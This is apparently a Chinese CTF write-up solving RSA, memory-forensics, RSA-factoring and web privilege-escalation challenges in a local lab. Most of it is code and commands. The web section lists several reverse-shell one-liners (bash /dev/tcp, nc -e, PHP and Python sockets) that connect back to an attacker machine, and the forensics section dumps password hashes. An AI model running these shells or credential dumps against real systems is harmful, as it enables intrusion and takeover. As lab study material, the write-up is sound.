一、easyRSA
p = 103555038920563688486313625026692201769898539458250387852564311508516933405369955082868183252437921747101933466087007667680849668502313576809136295602884793383620354213976069518457644401962779239264013411285703750553160265181292953404298124707018302611470630565769393687990084840635760331964051567018109005221 q = 160798213861802381439816685710532500851717370147927179904640319036302461487410794611025319719924785678533804543378265641308730886441049379315313881873126279979745613736918892886654126589571320825140190618381209913572026100319529258246399826498738630096545262116872178571586776849937719267397229131977625729181 c = 3012698302685782914352748889538269539276966689535618390608255019928194822272484165258428510864993115145970175340476111006560843996009634680266411812379484931113572001911187873454962970814784874187267049158327912311464658988809303344617234850467295577263692382589465476940466909919703282508510408666640637321604806184358599109603839798259965266255051960288593974547633368290371444988144846550173058355339504472745816829243793352828596047300963256511623301276249567609305540926013893512398750490710257009878525120075269038340370622356157316429058802630037445446582848958118975401937068492634536362241056432564765409077
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
p = 103555038920563688486313625026692201769898539458250387852564311508516933405369955082868183252437921747101933466087007667680849668502313576809136295602884793383620354213976069518457644401962779239264013411285703750553160265181292953404298124707018302611470630565769393687990084840635760331964051567018109005221
q = 160798213861802381439816685710532500851717370147927179904640319036302461487410794611025319719924785678533804543378265641308730886441049379315313881873126279979745613736918892886654126589571320825140190618381209913572026100319529258246399826498738630096545262116872178571586776849937719267397229131977625729181
c = 3012698302685782914352748889538269539276966689535618390608255019928194822272484165258428510864993115145970175340476111006560843996009634680266411812379484931113572001911187873454962970814784874187267049158327912311464658988809303344617234850467295577263692382589465476940466909919703282508510408666640637321604806184358599109603839798259965266255051960288593974547633368290371444988144846550173058355339504472745816829243793352828596047300963256511623301276249567609305540926013893512398750490710257009878525120075269038340370622356157316429058802630037445446582848958118975401937068492634536362241056432564765409077
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
e=65537
d=modinv(e,(p-1)*(q-1))
m=pow(c,d,p*q)
二、Forensic
拿到文件之后先用volatitly -f mem.raw imageinfo 查看相关信息
volatility -f mem.raw --profile=WinXPSP2x86 notepad
volatility -f mem.raw --profile=WinXPSP2x86 hashdump #查看密码
1e581aafa474dfadfdf83fc31e4fd4ea
volatility -f mem.raw --profile=WinXPSP2x86 cmdscan #查询到一个通过nc 上传的可疑文件
volatility -f mem.raw --profile=WinXPSP2x86 pslist #查询进程
sudo volatility -f mem.raw --profile=WinXPSP2x86 memdump -p 120 -D ./
注意提示:P@ssW0rd_is_y0ur_bir7hd4y.txt 尝试8为数字爆破
三、流量分析
四、hardyRsa
打开题目给了一个 公钥和一个加密文件,先用openssl解析n 然后将n分解
openssl rsa -pubin -text -modulus -in warmup -in rsa_public_key.pem
先将n转为10进制数如果数比较大,那就需要将数保存成一个txt
yafu-x64 "factor(@)" -batchfile data.txt
import math
import sys
from Crypto.Math.Numbers import Integer
from Crypto.PublicKey import RSA
import math
import random
import base64
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
e = 65537
n = 30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511
p = 57970027
q = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093
u = Integer(p).inverse(q)
keypair = RSA.RsaKey(n=n, e=e, d=modinv(e,(p-1)*(q-1)), p=p, q=q, u =u)
private = open('rsa_private_key.pem','wb')
private.write(keypair.exportKey())
private.close()
五、WEB题
Escalate_my_privilege 靶机
本地复现IP:http://192.168.12.129/
python3 dirsearch.py -u http://192.168.12.129/ -e *
http://192.168.12.129//readme.txt 提示查看backup目录
http://192.168.12.129//robots.txt 有个phpbash.php 文件
这个页面不好操作,我们直接在kali上监听端口 反弹shell
bash -i >& /dev/tcp/192.168.12.128/8888 0>&1
其他的反弹shell的方法:
bash -i >& /dev/tcp/192.168.12.128/8888 0>&1
nc -e /bin/bash 192.168.1.146 7777
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.12.128',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
学习地址 https://www.jianshu.com/p/6aca9b29514d